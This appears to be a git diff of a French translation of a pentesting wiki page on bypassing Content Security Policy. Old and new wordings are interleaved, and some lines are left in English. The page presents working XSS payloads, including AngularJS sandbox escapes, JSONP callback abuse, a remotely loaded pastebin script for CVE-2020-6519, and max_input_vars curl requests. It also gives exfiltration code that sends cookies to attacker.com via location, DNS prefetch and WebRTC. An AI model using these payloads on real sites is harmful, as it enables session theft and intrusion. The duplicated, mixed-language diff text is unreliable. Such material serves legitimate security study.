Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Exécution JS dans les Iframes
### Exécution JS dans les iframes
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### **base-uri** manquant
### absence de **base-uri**
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/index.html).
Si la directive **base-uri** est absente, vous pouvez en abuser pour effectuer un [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la **balise** **base** pour faire **charger** le script depuis **votre propre serveur, réalisant ainsi un XSS.**\
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la base.
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) et utilise un **Nonce**, vous pouvez abuser de la **balise base** pour la faire **charger** le script depuis **votre propre serveur**, obtenant ainsi un XSS.\
Si la page vulnérable est chargée en **httpS**, utilisez une URL httpS dans la base.
```html
<base href="https://www.attacker.com/" />
```
### Événements AngularJS
### AngularJS événements
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique `$event`, faisant référence à l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner le CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, avec l'objet `window` invariablement positionné à la fin. Cette structure est essentielle pour les tactiques d'évasion de sandbox.
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet particulier `$event`, qui référence l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner la CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, avec l'objet `window` positionné systématiquement à la fin. Cette structure est essentielle pour les techniques de sandbox escape.
En dirigeant ce tableau vers le filtre `orderBy`, il est possible de l'itérer, en utilisant l'élément terminal (l'objet `window`) pour déclencher une fonction globale comme `alert()`. L'extrait de code démontré ci-dessous illustre ce processus :
En dirigeant ce tableau vers le filtre `orderBy`, il est possible d'itérer dessus, en utilisant l'élément terminal (l'objet `window`) pour déclencher une fonction globale comme `alert()`. L'extrait de code cidessous illustre ce processus :
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en s'appuyant sur l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
Ce fragment met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en exploitant l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
**Trouvez d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
Trouvez d'autres bypasses Angular sur [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS et domaine sur liste blanche
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Une politique CSP qui autorise des domaines pour le chargement de scripts dans une application Angular JS peut être contournée par l'invocation de fonctions de rappel et certaines classes vulnérables. Des informations supplémentaires sur cette technique peuvent être trouvées dans un guide détaillé disponible sur ce [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Une politique CSP qui autorise des domaines pour le chargement de scripts dans une application Angular JS peut être contournée via l'invocation de fonctions de rappel et certaines classes vulnérables. Des informations supplémentaires sur cette technique se trouvent dans un guide détaillé disponible sur ce [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads fonctionnels :
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -399,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
D'autres points de terminaison d'exécution arbitraire JSONP peuvent être trouvés [**ici**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés)
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés)
### Contournement via Redirection
### Bypass via Redirection
Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène à une origine différente qui n'est pas autorisée, elle échouera toujours.
Que se passe-t-il lorsque CSP rencontre une server-side redirection ? Si la redirection mène à une origin différente qui n'est pas autorisée, elle échouera quand même.
Cependant, selon la description dans [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un chemin différent, elle peut contourner les restrictions d'origine.
Cependant, selon la description dans [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un path différent, elle peut bypasser les restrictions originales.
Voici un exemple :
```html
@ -425,50 +425,50 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Si CSP est défini sur `https://www.google.com/a/b/c/d`, puisque le chemin est pris en compte, les scripts `/test` et `/a/test` seront bloqués par CSP.
Si la CSP est définie sur `https://www.google.com/a/b/c/d`, puisque le chemin est pris en compte, les scripts `/test` et `/a/test` seront tous deux bloqués par la CSP.
Cependant, le `http://localhost:5555/301` final sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Étant donné qu'il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction de chemin.
Cependant, la cible finale `http://localhost:5555/301` sera **redirigée côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Comme il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction sur le chemin.
Avec cette redirection, même si le chemin est spécifié complètement, il sera toujours contourné.
Avec cette redirection, même si le chemin est spécifié entièrement, il pourra toujours être contourné.
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités d'open redirect et qu'aucun domaine ne peut être exploité dans les règles CSP.
### Contourner CSP avec du balisage pendu
### Bypass CSP with dangling markup
Lisez [comment ici](../dangling-markup-html-scriptless-injection/index.html).
Lire [comment ici](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script dans le code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser dans la page web n'importe quelle image provenant de n'importe quelle ressource.
Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient un SQLi, et extrait le drapeau via une image) :
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas l'XSS exploite un CSRF où une page accessible par le bot contient un SQLi, et extrait le flag via une image) :
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Depuis : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Source: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Vous pourriez également abuser de cette configuration pour **charger du code javascript inséré dans une image**. Si par exemple, la page permet de charger des images depuis Twitter. Vous pourriez **créer** une **image spéciale**, **la télécharger** sur Twitter et abuser de l'**"unsafe-inline"** pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Vous pouvez également abuser de cette configuration pour **charger du code JavaScript inséré dans une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez **concevoir** une **image spéciale**, **la téléverser** sur Twitter et abuser du "**unsafe-inline**" pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Avec les Service Workers
La fonction **`importScripts`** des service workers n'est pas limitée par le CSP :
La fonction Service Workers **`importScripts`** n'est pas limitée par le CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Injection de Politique
### Policy Injection
**Recherche :** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Si un **paramètre** envoyé par vous est **collé à l'intérieur** de la **déclaration** de la **politique,** alors vous pourriez **modifier** la **politique** d'une manière qui la rend **inutile**. Vous pourriez **autoriser le script 'unsafe-inline'** avec l'un de ces contournements :
Si un **paramètre** envoyé par vous est **collé à l'intérieur** de la **déclaration** de la **politique**, alors vous pouvez **altérer** la **politique** d'une manière qui la rend **inutile**. Vous pourriez **autoriser script 'unsafe-inline'** avec n'importe lequel de ces bypasses :
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,15 +478,15 @@ Vous pouvez trouver un exemple ici : [http://portswigger-labs.net/edge_csp_injec
#### Edge
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : **`;_`** **Edge** va **supprimer** l'**entière politique**.\
Exemple : [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
Sur Edge c'est beaucoup plus simple. Si vous pouvez ajouter dans la CSP juste ceci : **`;_`** **Edge** va **supprimer** toute la **politique**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Attaque temporelle
### img-src \*; via XSS (iframe) - Time attack
Remarquez l'absence de la directive `'unsafe-inline'`\
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page d'où vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps que la page met à charger**, vous pouvez extraire les informations dont vous avez besoin.
Notez l'absence de la directive `'unsafe-inline'`\
Cette fois vous pouvez faire en sorte que la victime **charge** une page **sous votre contrôle** via **XSS** avec un `<iframe`. Vous allez faire en sorte que la victime accède à la page depuis laquelle vous voulez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps de chargement** de la page, vous pouvez extraire l'information dont vous avez besoin.
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de sommeil. Ensuite, vous pourrez extraire le drapeau :
Cette fois un **flag** va être extrait : chaque fois qu'un **char est correctement deviné** via SQLi la **réponse** prend **plus de temps** à cause de la fonction sleep. Ainsi, vous pourrez extraire le flag :
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -548,22 +548,22 @@ run()
```
### Via Bookmarklets
Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait **du code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **bypassant CSP et permettant de voler des informations sensibles** telles que des cookies ou des tokens.
Cette attaque implique une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de glisser\&déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **javascript malveillant** qui, une fois glissé\&déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web courante, **contournant le CSP et permettant de voler des informations sensibles** telles que les cookies ou les tokens.
Pour plus d'informations [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
### Contournement du CSP en restreignant le CSP
Dans [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
Vous pouvez **restreindre le CSP d'un iframe** avec l'attribut **`csp`** :
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **l'injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
Le CSP peut être rendu plus restrictif en utilisant **des balises meta HTML** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage une **CSP** de sorte qu'un script empêchant la **CSTI** ait été désactivé et que, par conséquent, la **vulnérabilité soit devenue exploitable.**\
Une **CSP** peut être rendue plus restrictive en utilisant des **HTML meta tags**, et les inline scripts peuvent être désactivés en **supprimant** l'**entrée** autorisant leur **nonce** et en **autorisant un script inline spécifique via sha** :
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,51 +572,69 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
### Exfiltration JS avec Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que très probablement `unsafe-inline` n'est pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur que vous contrôlez** (peut-être à cause d'un CRLF), vous pouvez le faire pointer vers votre serveur et si vous **entourez** le **contenu JS** que vous voulez exfiltrer avec **`<script>`** et comme il est très probable que `unsafe-inline` ne soit pas autorisé par la CSP, cela **provoquera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur via `Content-Security-Policy-Report-Only`.
Pour un exemple [**vérifiez ce CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Pour un exemple [**consultez ce writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Fuite d'informations avec CSP et Iframe
### Fuite d'informations avec CSP et iframe
- Un `iframe` est créé qui pointe vers une URL (appelons-la `https://example.redirect.com`) qui est autorisée par CSP.
- Cette URL redirige ensuite vers une URL secrète (par exemple, `https://usersecret.example2.com`) qui **n'est pas autorisée** par CSP.
- En écoutant l'événement `securitypolicyviolation`, on peut capturer la propriété `blockedURI`. Cette propriété révèle le domaine de l'URI bloquée, fuyant le domaine secret vers lequel l'URL initiale a redirigé.
- Un `iframe` est créé qui pointe vers une URL (appelons-la `https://example.redirect.com`) qui est permise par la CSP.
- Cette URL redirige ensuite vers une URL secrète (par ex., `https://usersecret.example2.com`) qui n'est **pas autorisée** par la CSP.
- En écoutant l'événement `securitypolicyviolation`, on peut capturer la propriété `blockedURI`. Cette propriété révèle le domaine de l'URI bloquée, divulguant le domaine secret vers lequel l'URL initiale a redirigé.
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, ce qui peut entraîner une fuite d'informations sensibles en raison d'un comportement indéfini.
Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes visàvis de la CSP, ce qui peut conduire à une divulgation potentielle d'informations sensibles en raison d'un comportement non défini.
Une autre technique consiste à exploiter le CSP lui-même pour déduire le sous-domaine secret. Cette méthode repose sur un algorithme de recherche binaire et l'ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous-domaine secret est composé de caractères inconnus, vous pouvez tester itérativement différents sous-domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous-domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode :
Une autre technique consiste à exploiter la CSP ellemême pour déduire le sousdomaine secret. Cette méthode repose sur un algorithme de recherche binaire et sur l'ajustement de la directive CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sousdomaine secret est composé de caractères inconnus, vous pouvez tester itérativement différents sousdomaines en modifiant la directive CSP pour bloquer ou autoriser ces sousdomaines. Voici un extrait montrant comment la CSP pourrait être configurée pour faciliter cette méthode:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
En surveillant quelles requêtes sont bloquées ou autorisées par le CSP, on peut réduire les caractères possibles dans le sous-domaine secret, découvrant finalement l'URL complète.
En surveillant quelles requêtes sont bloquées ou autorisées par la CSP, on peut restreindre les caractères possibles du sous-domaine secret et finalement découvrir l'URL complète.
Les deux méthodes exploitent les nuances de l'implémentation et du comportement du CSP dans les navigateurs, démontrant comment des politiques apparemment sécurisées peuvent involontairement leak des informations sensibles.
Les deux méthodes exploitent les subtilités de l'implémentation de la CSP et du comportement des navigateurs, démontrant comment des politiques apparemment sécurisées peuvent involontairement leak des informations sensibles.
Truc de [**ici**](https://ctftime.org/writeup/29310).
Trick from [**here**](https://ctftime.org/writeup/29310).
## Technologies non sécurisées pour contourner le CSP
## Technologies non sécurisées pour contourner CSP
### Erreurs PHP lorsque trop de paramètres
### Erreurs PHP quand trop de params
Selon la [**dernière technique commentée dans cette vidéo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), envoyer trop de paramètres (1001 paramètres GET bien que vous puissiez également le faire avec des paramètres POST et plus de 20 fichiers). Tout **`header()`** défini dans le code web PHP **ne sera pas envoyé** à cause de l'erreur que cela déclenchera.
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), l'envoi d'un nombre trop élevé de paramètres (1001 paramètres GET bien que vous puissiez aussi le faire avec des params POST et plus de 20 fichiers). Toute **`header()`** définie dans le code PHP **ne sera pas envoyée** à cause de l'erreur que cela déclenche.
### Surcharge du tampon de réponse PHP
Il est connu que PHP **met en mémoire tampon la réponse à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données dans les avertissements**, la **réponse** sera **envoyée** **avant** le **header CSP**, ce qui entraînera l'ignorance du header.\
Ensuite, la technique consiste essentiellement à **remplir le tampon de réponse avec des avertissements** afin que le header CSP ne soit pas envoyé.
PHP est connu pour tamponner la réponse jusqu'à 4096 bytes par défaut. Ainsi, si PHP génère un warning, en fournissant suffisamment de données dans les warnings, la réponse sera envoyée avant l'en-tête CSP, ce qui fait que l'en-tête sera ignoré.\
Ensuite, la technique consiste essentiellement à remplir le tampon de réponse avec des warnings pour que l'en-tête CSP ne soit pas envoyé.
Idée de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Réécrire la page d'erreur
### Désactiver CSP via max_input_vars (headers already sent)
D'après [**ce writeup**](https://blog.ssrf.kr/69), il semble qu'il ait été possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
Parce que les en-têtes doivent être envoyés avant toute sortie, les warnings émis par PHP peuvent invalider des appels `header()` ultérieurs. Si les entrées utilisateur dépassent `max_input_vars`, PHP génère d'abord un warning de démarrage ; tout `header('Content-Security-Policy: ...')` ultérieur échouera avec “headers already sent”, désactivant effectivement la CSP et permettant un reflective XSS qui serait autrement bloqué.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Exemple :
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Rewrite Error Page
D'après [**this writeup**](https://blog.ssrf.kr/69), il semble qu'il était possible de bypass une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela se fait en chargeant le point de terminaison vulnérable depuis une page de l'attaquant, puis en actualisant la page de l'attaquant vers le véritable point de terminaison de la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **véritable point de terminaison à abuser**. Pour plus d'informations, consultez :
SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) **dans un endpoint d'une page** pour **abuser** **d'autres endpoints de la même origine.** Cela se fait en chargeant le endpoint vulnérable depuis une page attaquante puis en actualisant la page attaquante vers le endpoint réel de la même origine que vous souhaitez abuser. De cette façon, le **endpoint vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **endpoint réel à abuser**. Pour plus d'informations, consultez:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation de seulement lettres, chiffres et points).
De plus, **wordpress** possède un endpoint **JSONP** à `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflète** les **data** envoyées dans la sortie (avec la limitation n'acceptant que lettres, chiffres et points).
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque SOME** contre WordPress et **l'incorporer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** via le point de terminaison **vulnérable** **callback** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
Pour plus d'informations sur la façon de réaliser cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Un attaquant peut abuser de cet endpoint pour **générer une attaque SOME** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait exploiter l'**attaque SOME** via le **callback** **endpoint** vulnérable qui **contourne la CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements d'exfiltration CSP
S'il y a un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
S'il existe une CSP stricte qui ne permet pas d'**interagir avec des serveurs externes**, il y a quelques techniques que vous pouvez toujours utiliser pour exfiltrer l'information.
### Emplacement
### Location
Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :
Vous pouvez simplement mettre à jour la location pour envoyer au serveur de l'attaquant les informations secrètes:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne fuitera pas de contenu)
Vous pouvez rediriger en injectant une meta tag (c'est juste une redirection, cela ne va pas leak le contenu)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.\
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.\
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `<link rel="dns-prefetch" href="something.com">`
Vous pourriez abuser de ce comportement pour **exfiltrer des informations sensibles via des requêtes DNS** :
Vous pouvez abuser de ce comportement pour **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -680,13 +698,13 @@ Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP :
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots)
> Apparemment, cette technique ne fonctionne pas dans les headless browsers (bots)
### WebRTC
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la directive `connect-src` du CSP**.
En réalité, vous pouvez _leaker_ des informations en utilisant une _requête DNS_. Consultez ce code :
En fait, vous pouvez _leak_ des informations en utilisant une _DNS request_. Regardez ce code:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
La fenêtre contextuelle des identifiants envoie une requête DNS à l'iconURL sans être restreinte par la page. Elle ne fonctionne que dans un contexte sécurisé (HTTPS) ou sur localhost.
